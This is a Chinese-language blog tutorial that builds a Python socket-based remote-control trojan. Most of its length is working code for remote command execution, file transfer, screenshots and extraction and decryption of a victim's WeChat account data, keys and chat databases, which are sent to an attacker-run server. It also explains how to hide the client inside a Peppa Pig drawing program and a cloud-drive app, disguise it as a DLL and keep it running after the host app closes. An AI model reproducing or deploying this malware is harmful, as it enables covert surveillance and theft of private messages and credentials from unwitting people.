基于Socket的远程控制程序

Keywords: #技术 #Python #Socket
Table of Contents

一个基于Python Socket 实现远程控制程序 可以用作远控木马

概述

实现的功能:

  • 远程命令执行
  • 远程文件上传
  • 远程文件下载
  • 获取远程主机截屏

在学习网络安全技术的过程中,了解到了计算机病毒、蠕虫和木马等知识,这其中木马应该是最好实现的一个,于是便想到写一个木马

在众多木马的类型中,结合学习到的网络编程知识,于是便有了这一个基于Socket实现的远程控制程序

在后续,可以将这个远控程序写入其他客户端程序中(比如之前的量子加密网盘项目),只要对方打开了桌面程序,就能远程连接

实现过程

最简单的Socket程序

首先,整个程序的框架就是基于Socket的TCP传输,先写一个最简单的Socket程序

Server端:

import socket

socket_server = socket.socket()
socket_server.bind(('localhost', 8888))
socket_server.listen(1)
conn, address = socket_server.accept()
print(f'接收到客户端连接,来自{address}')
while True:
    data = conn.recv(1024).decode("UTF-8")
    if data == 'exit':
        break
    print('接收到发来的消息:', data)
    reply = input('请输入回复的消息:').encode('UTF-8')
    conn.send(reply)

conn.close()
socket_server.close()

Client端:

import socket

socker_client = socket.socket()
socker_client.connect(('localhost', 8888))
print('连接到服务端')
while True:
    send_msg = input('请输入要发送的消息:')
    if send_msg == 'exit':
        break
    socker_client.send(send_msg.encode('UTF-8'))
    recv_data = socker_client.recv(1024)
    print('服务端回复的消息:', recv_data.decode('UTF-8'))

socker_client.close()

以上是最简单的一个Socket程序,实现了两台主机之间相互传递文字信息。

但是在这个程序中,同样存在很多的问题,比如:

  1. 传输的消息可能会超过1024
  2. 没有任何异常抛出机制,在Socket通信的过程中,一定会存在丢包、失去连接、超时等问题
  3. …………

这些问题如果只是在上面这样一个简单程序中,基本不会有问题,但是一旦程序实现的功能多了,代码量大了,这些问题都至关重要,都需要在后续的代码中注意,不然找bug会很痛苦😢

需要强调的是,在此程序中,我将服务端作为主动执行端,客户端作为被动执行端,也就是服务端发送指令,客户端根据指令进行操作并返回服务端

对于木马程序,同样可以理解为,服务端为攻击操纵者,客户端为攻击受害者

后续的介绍中,都是以此为基础

远程命令执行

学会上面最简单的socket程序之后,接下来就是思考,怎么实现远程的命令执行

在这里我们可以使用Python中的os模块,os模块提供的就是各种 Python 程序与操作系统进行交互的接口。通过使用os模块,一方面可以方便地与操作系统进行交互,另一方面页可以极大增强代码的可移植性

Python中的os模块,理论上支持Windows、Linux和Mac OS系统,所以使用os模块,也可以增大我们编写的这个程序的使用范围

所以远程命令执行的整体流程和框架为:

{% mermaid %}

graph TB

a(服务端等待客户端连接)–>b(客户端连接上服务端)

b–>c(服务端接收到连接并发送指令)

c–>d(客户端解析指令并调用OS模块执行)

{% endmermaid %}

使用os模块进行命令也十分简单,只需要使用 os.system('命令') 或者 os.popen('命令') 就可以实现.

但是,这里不能使用os.system,比如我们执行dir命令,需要返回文件夹内的内容,它不能返回命令执行后的内容,而os.popen可以

补充:

python中os.systemos.popensubprocess.popen都是可以实现系统命令的执行 但是他们之间也存在区别,参考文章

总结一下:

  1. os.system直接调用标准C的system() 函数,仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息
  2. os.popen不仅执行命令而且返回执行后的信息对象(常用于需要获取执行命令后的返回信息),是通过一个管道文件将结果返回。返回的是 file read 的对象,对其进行读取read的操作可以看到执行的输出
  3. subprocess.popenos.popen类似,但是当执行命令的参数或者返回中包含了中文文字,更建议使用subprocess
  4. commands可以获取返回值和命令的输出结果

所以在这个功能实现中,我选择使用 os.popen 方法来实现命令执行,使用 read 方法读取返回的内容

Client端执行命令函数:

def run_cmd(socker_client, cmd):  
    pwd = os.getcwd()  
    if cmd.startswith('cd'):  
        try:  
            os.chdir(cmd.split()[1])  
        except FileNotFoundError:  
            os.chdir(pwd)  
            result = '目录不存在'  
            socker_client.send(result.encode('UTF-8'))  
            return  
        result = '切换目录成功'  
        socker_client.send(result.encode('UTF-8'))  
        return  
    # 执行命令  
    try:  
        result = os.popen(cmd).read()  
    except Exception as e:  
        result = f'命令执行失败:{e}'  
    if result == '':  
        result = '命令执行成功'  
    # 把命令回显结果发送给服务端  
    socker_client.send(result.encode('UTF-8'))

从上面这个函数实现代码中可以看到,我特意对 cd 切换目录命令做了单独的判断

这是因为在Python程序中直接执行 cd 切换目录是不起作用的,还是会返回当前程序运行的目录位置,所以需要使用 os.chdir 方法对当前Python程序运行的目录进行切换

除此之外的其他命令则没有进行单独的判断,直接交给 popen 执行,并用 read 方法读取返回信息

值得注意的是,popen在执行其他命令会有意想不到的返回值,可能会不返回值,并且一直阻塞,需要根据实际情况单独判断

远程执行命令

远程下载文件

远程下载文件,需要的是服务端和客户端紧密配合,并且保证通信过程中的同步

所谓同步,一定是一收一发的形式,不论是客户端还是服务端,一旦有一端出现了连续两次的发送或者接收,在实际的执行过程中,一定会出现死锁的现象,也就是双方都在等待对方发送消息,双方一直阻塞。

远程下载文件的整体流程和框架:

{% mermaid %}

graph TB

a[服务端发送下载文件指令并指定文件名称]–>b[客户端接收下载文件指令]

b–>c[客户端搜索文件是否存在]

c–>|存在|d[客户端读取文件数据并发送头部信息]

c–>|不存在|e[客户端向服务端发送不存在指令]

d–>f[服务端接收头部信息发送确认信息]

e–>h[双方退出下载文件流程]

f–>f1[客户端接收确认信息并发送文件数据]

f1–>f2[服务端接收文件数据并写入本地文件]

{% endmermaid %}

这其中有一步是发送和确认文件的头部信息,这是为了告诉服务端所要接收的文件的文件大小和名称,以便写入文件。

当然这一步是可以省略的,服务端可以根据输入的指令信息得知文件的名称

在此程序中,使用 get 文件名称 的方式告诉双方,我需要进行下载文件的流程

Server端get函数:

def get_file(conn):  
    # 文件不存在的情况  
    rev = conn.recv(1024)  
    if rev == b'file_not_exist':  
        print('文件不存在')  
        return  
    conn.send(b'start')  
    # 接收文件头部大小  
    try:  
        rev = conn.recv(4)  
        header_size = struct.unpack('i', rev)[0]  
    except (struct.error, ConnectionResetError):  
        print("在接收文件头部长度时发生错误")  
        return  
    # 发送确认消息  
    conn.send(b'size_ok')  
    # 接收文件头部信息  
    header_bytes = conn.recv(header_size).decode('UTF-8')  
    header = json.loads(header_bytes)  
    file_name = header['file_name']  
    file_size = header['file_size']  
    # 发送确认消息  
    conn.send(b'header_ok')  
    print(f'文件名称:{file_name},文件大小:{file_size} B')  
    print('开始接收文件...')  
    try:  
        with open(file_name, 'wb') as f:  
            while file_size > 0:  
                content = conn.recv(1024)  
                file_size -= len(content)  
                f.write(content)  
    except IOError as e:  
        print(f"在写入文件时发生错误: {e}")  
        return  
    print('接收文件完成')

Client端get函数:

def get_file(conn, file_name):  
    if os.path.isfile(file_name):  
        conn.send(b'file_exist')  
        rev = conn.recv(1024)  
        if rev != b'start':  
            return  
        file_size = os.path.getsize(file_name)  
        header = {  
            'file_name': file_name,  
            'file_size': file_size  
        }  
        header_json = json.dumps(header)  
        header_bytes = header_json.encode('UTF-8')  
        header_size = struct.pack('i', len(header_bytes))  
        conn.send(header_size)  
        rev = conn.recv(1024)  
        if rev != b'size_ok':  
            return  
        conn.send(header_bytes)  
        rev = conn.recv(1024)  
        if rev == b'header_ok':  
            try:  
                with open(file_name, 'rb') as f:  
                    while file_size > 0:  
                        content = f.read(1024)  
                        file_size -= len(content)  
                        conn.send(content)  
            except Exception as e:  
                print(f"发送错误: {e}")  
                conn.send(b'')  
    else:  
        conn.send(b'file_not_exist')

下载文件

远程上传文件

在这一部分,整体的流程和上面的远程文件下载基本一致,就是将上方服务端和客户端的流程对调

这里就不过多介绍,代码是一样的

在此程序中使用 put 文件名称 的形式,告诉双方我需要进入上传文件的流程

上传文件

远程获取屏幕截图

Python获取屏幕截图的方式很多,比如PIL中的ImageGrab模块、windows API、PyQt、pyautogui等等

参考文章

在此程序中使用了PIL中的ImageGrab模块,原因就是操作十分简单,缺点是效率较低,但是对于我们这个程序来说,几乎感觉不出差别

ImageGrab模块只需要两条命令就能搞定全屏截图,十分方便

im = ImageGrab.grab()
im.save(file_name)

远程获取屏幕截图的整体流程和框架:

{% mermaid %}

graph TB

a[服务端发送截屏指令并进入截屏流程]–>b[客户端接收截屏指令并进入截屏流程]

b–>c[服务端发送’start’指令]

c–>d[客户端端接收’start’指令并截屏保存文件]

d–>f[进入get下载文件流程]

c–>f

f–>e[客户端删除截屏文件,双方退出截屏流程]

{% endmermaid %}

在此程序中,使用 screen 的方式告诉双方,我需要进行截屏的流程

Server端screen函数:

def screen_shot(conn):  
    rev = conn.recv(1024)  
    if rev != b'screen':  
        print('截图失败')  
        return  
    conn.send(b'start')  
    get_file(conn)

Client端screen函数:

def screen_shot(conn):  
    conn.send(b'screen')  
    rev = conn.recv(1024)  
    if rev != b'start':  
        return  
    # 截图并发生到服务端  
    im = ImageGrab.grab()  
    # 截屏命名为当前时间  
    file_name = time.strftime("%Y-%m-%d %H-%M-%S", time.localtime()) + '.png'  
    im.save(file_name)  
    get_file(conn, file_name)  
    # 删除本地截图  
    os.remove(file_name)

截屏 截取的图片拉取到本地

获取微信数据

这里功能是基于Github开源项目:PyWxDump

其提供了一系列获取微信数据信息、聊天记录等Python接口

利用这个python项目,可以很容易获取到微信数据

如获取微信基本信息:

def get_wechat_info(conn):
    # 读取文件中的json数据
    with open('version_list.json', 'r', encoding='UTF-8') as f:
        version_list = json.load(f)
    # 读取微信信息
    wx_info = read_info(version_list, False)
    if str(wx_info).startswith('[-]'):
        conn.send(wx_info.encode('UTF-8'))
        return None, None
    pid = wx_info[0]['pid']
    version = wx_info[0]['version']
    account = wx_info[0]['account']
    mobile = wx_info[0]['mobile']
    name = wx_info[0]['name']
    mail = wx_info[0]['mail']
    wxid = wx_info[0]['wxid']
    file_path = wx_info[0]['filePath']
    key = wx_info[0]['key']
    wechat_files = str(Path(file_path).parent)
    content = f"""
    ================== wechat info ==================
    [+] 进程号: {pid}
    [+] 版本: {version}
    [+] 微信号: {account}
    [+] 手机号: {mobile}
    [+] 微信名: {name}
    [+] 邮箱: {mail}
    [+] 微信数据路径: {file_path}
    [+] wxid: {wxid}
    [+] key: {key}
    ================== wechat info ==================
    """
    conn.send(content.encode('UTF-8'))
    return file_path, key

获取微信基本信息

获取并解密微信数据库:

def get_wechat(conn):
    file_path, key = get_wechat_info(conn)
    if file_path is None:
        return
    # 获取解密后的数据库路径
    decrypted_path = conn.recv(1024).decode("UTF-8")
    # 创建解密后的数据库文件夹
    if not os.path.exists(decrypted_path):
        os.mkdir(decrypted_path)
    # 解密微信数据库
    args = {
        "mode": "decrypt",
        "key": key,  # 密钥
        "db_path": file_path + '\\Msg',  # 数据库路径
        "out_path": decrypted_path  # 输出路径(必须是目录)
    }
    batch_decrypt(args["key"], args["db_path"], args["out_path"], False)
    # 打包压缩解密后的数据库并发送到服务端
    zip_file_path = decrypted_path + '.zip'
    zip_file_name = Path(zip_file_path).name
    if os.path.exists(zip_file_path):
        os.remove(zip_file_path)
    zip_dir(decrypted_path, zip_file_path)
    pwd = os.getcwd()  # 记录当前路径
    os.chdir(str(Path(decrypted_path).parent))  # 切换到父目录
    get_file(conn, str(zip_file_name))
    os.remove(zip_file_path)  # 删除压缩包
    shutil.rmtree(decrypted_path)  # 删除解密后的数据库文件夹
    os.chdir(pwd)  # 切换回原路径
    rev = conn.recv(1024)  # 接收服务端的确认信息
    if rev != b'get_db_ok':
        return
    # 打包压缩FileStorage文件夹并发送到服务端
    file_storage_path = file_path + "\\FileStorage"
    zip_file_path = file_storage_path + '.zip'
    zip_file_name = Path(zip_file_path).name
    if os.path.exists(zip_file_path):
        os.remove(zip_file_path)
    zip_dir(file_storage_path, zip_file_path)
    pwd = os.getcwd()  # 记录当前路径
    os.chdir(file_path)  # 切换到父目录
    get_file(conn, str(zip_file_name))
    os.remove(zip_file_path)  # 删除压缩包
    os.chdir(pwd)  # 切换回原路径

获取微信聊天数据库

开启flask服务,查看微信聊天信息:

def flask_show():
    # 查看聊天记录
    seg = input('[*] 请输入数据库分段号:')
    args = {
        "mode": "dbshow",
        "msg_path": str(db_path) + f'\\Multi\\de_MSG{seg}.db',  # 解密后的 MSG.db 的路径
        "micro_path": str(db_path) + '\\de_MicroMsg.db',  # 解密后的 MicroMsg.db 的路径
        "media_path": str(db_path) + f'\\Multi\\de_MediaMSG{seg}.db',  # 解密后的 MediaMSG.db 的路径
        "filestorage_path": local_file_storage_path + "\\FileStorage"  # 文件夹 FileStorage 的路径(用于显示图片)
    }
    # 启动flask服务
    from flask import Flask, request, jsonify, render_template, g
    import logging
    app = Flask(__name__, template_folder='./show_chat/templates')
    # 阻止flask在控制台输出日志
    log = logging.getLogger('werkzeug')
    log.setLevel(logging.ERROR)
    app.logger.setLevel(logging.ERROR)

    @app.before_request
    def before_request():
        g.MSG_ALL_db_path = args["msg_path"]
        g.MicroMsg_db_path = args["micro_path"]
        g.MediaMSG_all_db_path = args["media_path"]
        g.FileStorage_path = args["filestorage_path"]
        g.USER_LIST = get_user_list(args["msg_path"], args["micro_path"])

    @app.route('/shutdown', methods=['POST'])
    def shutdown():
        shutdown_func = request.environ.get('werkzeug.server.shutdown')
        if shutdown_func is None:
            raise RuntimeError('Not running with the Werkzeug Server')
        shutdown_func()
        return 'Server shutting down...'

    app.register_blueprint(app_show_chat)
    print("[+] 查看聊天记录服务启动在 http://127.0.0.1:5000 ")
    app.run(debug=False)

在浏览器中查看聊天记录

木马程序

peppa-pig

完成上面的几个功能就已经具备简单远控木马的特征了,接着就是需要将这个程序隐藏起来,让对方察觉不到这个程序的存在

我的思路是将这个远程控制的程序隐藏在其他应用中,并且以多线程或者多进程的方式异步的运行这个程序,并且在对方关闭应用之后,这个远程程序依旧能在后台运行

首先我找到一个利用海龟绘图绘制小猪佩奇的程序,程序是 Python-100-Days 这个项目中,接着我将远控程序引入,以多线程的方式启动,最后将整个程序打包成exe可执行程序

绘制小猪佩奇程序 添加多线程代码:

if __name__ == '__main__':  
    # 多线程  
    t1 = threading.Thread(target=peppa_pig)  
    t2 = threading.Thread(target=client_main)  
    t1.start()  
    t2.start()  
    t1.join()  
    t2.join()

使用pyinstaller打包

pyinstaller -F -w -n pig -i icon.ico peppa_pig.py

需要加入资源时

pyinstaller -F -w -n pig -i .\icon.ico --add-data=".\assets\version_list.json;." .\peppa_pig.py

打包成exe文件 对方点击运行这个程序之后,远程控制程序同时以线程的形式进行运行,当对象关闭绘图框时,远控程序的线程还是会在后台继续运行,对方只要不打开任务管理器时难以察觉到的

在后台运行的pig.exe

量子加密网盘客户端

结合之前写的一个量子加密网盘客户端的项目,我也将木马引入

这次的引入方式同上面的有所不同,由于上面以多线程的方式引入,而在Windows任务管理器中只会显示进程,所以还是pig.exe的程序正在运行,对方容易察觉到

这个我们换个思路,先将远控程序打包成exe可执行文件,替换其图标为动态链接库的图标,并且将名字设置为很长的一串。

接着在量子加密网盘客户端程序中,以多进程的方式执行这个远控exe程序,最后将量子加密网盘客户端打包成exe文件,将远控程序藏在打包后的依赖文件夹中

添加多进程代码

if __name__ == '__main__':  
	# 多进程
    multiprocessing.freeze_support()  
    multiprocessing.Process(target=run_client).start()  
    run()

使用pyinstaller进行打包

pyinstaller -D -w -n QE_Network_Drive -i icon.ico flet_GUI.py

在这个过程中,我尝试了很多的办法,都会出现一个问题:在Pycharm下运行没有问题,但是打包后运行exe程序,整个电脑直接卡死,内存爆满,最后直接重启。

解决办法就是使用multiprocessing.freeze_support()

打包之后文件结构 隐藏在依赖文件中的远控程序 关闭云盘客户端后依旧在后台运行的远控程序

不过后续还是需要将这个远控程序图标和名称改的更加合适一点,毕竟dll动态链接库怎么可能在后台运行

总结

整个项目或者说是程序,总体上比较简单,没有什么很难的点,在这个过程中用到最多的就是计算机网络网络编程中的知识点,于此同时,最后部分也涉及到了Python异步编程多线程多进程以及协程的概念,完成这个程序也算是巩固和补充了这些方面的知识,弥补了一些不懂的地方,现在写下来也算是回顾总结学到的知识点。